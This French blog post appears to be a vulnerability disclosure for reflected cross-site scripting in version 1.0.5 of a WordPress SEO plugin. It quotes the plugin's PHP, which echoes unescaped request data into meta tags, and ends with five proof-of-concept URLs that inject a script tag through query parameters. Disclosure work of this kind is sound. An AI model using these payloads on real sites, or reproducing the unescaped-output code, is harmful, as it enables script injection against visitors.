Accueil Cross-Site Scripting (reflected) dans le plugin Wordpress XYZZY Basic SEO & Analytics
Post
Annuler

Cross-Site Scripting (reflected) dans le plugin Wordpress XYZZY Basic SEO & Analytics

Présentation du plugin

Le plugin Wordpress XYZZY Basic SEO & Analytics (slug: xyzzy-basic-seo-analytics) se présente de cette façon :

XYZZY Basic SEO & Analytics es un sencillo y ligero plugin que nos permite integrar Analytics y las funciones básicas de SEO en nuestra web desde la propia interfaz de WordPress.

¿Qué hace este plugin?

  • Agrega un meta box de Herramientas SEO en nuestras entradas, páginas y custom post types
  • Permite ajustar palabras clave y meta descripción base desde el panel de administración
  • Permite agregar nuestro código de Analytics desde el panel de administración
  • Incluye la meta “news_keywords” para la sindicación de Google News
  • Utiliza las imágenes destacadas de nuestros posts para la meta “image”
  • Incluye las etiquetas meta necesarias para redes sociales

La version testée est la 1.0.5 qui date d’il y a plus de deux ans.

La vulnérabilité

Le script xyzzy-basic-seo.php inclut différents autres scripts :

1
2
3
4
5
6
7
8
9
10
11
// Funciones para registro de estilos                                                                                  
require_once plugin_dir_path(__FILE__) . 'inc/functions/enqueue-styles.php';                                           
                                                                                                                       
// Funciones para el manejo de metadatos                                                                               
require_once plugin_dir_path(__FILE__) . 'inc/functions/admin-meta.php';                                               
                                                                                                                       
// Funciones para insertar metadatos en head                                                                           
require_once plugin_dir_path(__FILE__) . 'inc/functions/head-embed.php';                                               
                                                                                                                       
// Funciones para el menú de administración                                                                            
require_once plugin_dir_path(__FILE__) . 'inc/functions/admin-menu.php';

Ici, c’est le head-embed.php qui nous intéresse.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
// Función para hacer set de los datos en el header                                                                    
function xbs_set_metadata() {                                                                                          
                                                                                                                       
    global $wp;                                                                                                        
                                                                                                                       
    $id             = get_the_ID();                                                                                    
    $title          = xbs_get_the_title();                                                                             
    $name           = get_bloginfo('name');                                                                            
    $description    = xbs_get_description($id);                                                                        
    $keywords       = xbs_get_keywords($id);                                                                           
    $image          = xbs_get_post_img($id);                                                                           
    $url            = home_url(add_query_arg(array($_GET), $wp->request));                                             
    $analytics      = xbs_get_analytics();                                                                             
                                                                                                                       
    $html = xbs_delete_meta();                                                                                         
                                                                                                                       
    $html .= '<!-- XYZZY Basic SEO meta tags -->';                                                                     
                                                                                                                       
                                                                                                                       
    if (!current_theme_supports('title-tag') && !empty($title)):                                                       
        $html .= '<title>' . $title . '</title>';                                                                      
    endif;                                                                                                             
                                                                                                                       
    if(!empty($title)):                                                                                                
        $html .= '<meta property="og:title" content="' . $title .'">';                                                 
    endif;                                                                                                             
                                                                                                                       
    if(!empty($description)):                                                                                          
        $html .= '<meta name="description" content="' . $description . '" />';                                         
        $html .= '<meta property="og:description" content="' . $description . '">';                                    
    endif;                                                                                                             
                                                                                                                       
    if(!empty($keywords)):                                                                                             
        $html .= '<meta name="keywords" content="' . $keywords . '" />';                                               
        $html .= '<meta name="news_keywords" content="' . $keywords . '" />';                                          
    endif;                                                                                                             
                                                                                                                       
    if(!empty($image)):                                                                                                
        $html .= '<meta property="og:image" content="' . $image . '">';                                                
        $html .= '<meta name="twitter:card" content="summary_large_image">';                                           
    endif;                                                                                                             
                                                                                                                       
    if(!empty($url)):                                                                                                  
        $html .= '<meta property="og:url" content="' . $url . '">';                                                    
    endif;
    
    if(!empty($name)):                                                                                                 
        $html .= '<meta property="og:site_name" content="' . $name . '">';                                             
    endif;                                                                                                             
                                                                                                                       
    if(!empty($analytics)):                                                                                            
        $html .= $analytics;                                                                                           
    endif;                                                                                                             
                                                                                                                       
    $html .= '<!-- End XYZZY Basic SEO meta tags -->';                                                                 
                                                                                                                       
    echo $html;                                                                                                        
}
add_action( 'wp_head' ,'xbs_set_metadata');

Une bonne partie des données récupérées ici sont affichées telles quelles dans les tags méta.

Par conséquence, on peut obtenir un XSS via différents paramètres :

1
2
3
4
5
http://localhost:8000/?page_id=%22%3E%3CScRiPt%3Ealert%28%2FXSS%2F%29%3C%2FsCrIpT%3E
http://localhost:8000/?p=%22%3E%3CScRiPt%3Ealert%28%2FXSS%2F%29%3C%2FsCrIpT%3E
http://localhost:8000/?replytocom=%22%3E%3CScRiPt%3Ealert%28%2FXSS%2F%29%3C%2FsCrIpT%3E
http://localhost:8000/?cat=%22%3E%3CScRiPt%3Ealert%28%2FXSS%2F%29%3C%2FsCrIpT%3E
http://localhost:8000/?tag=%22%3E%3CScRiPt%3Ealert%28%2FXSS%2F%29%3C%2FsCrIpT%3E
Cet article est sous licence CC BY 4.0 par l'auteur.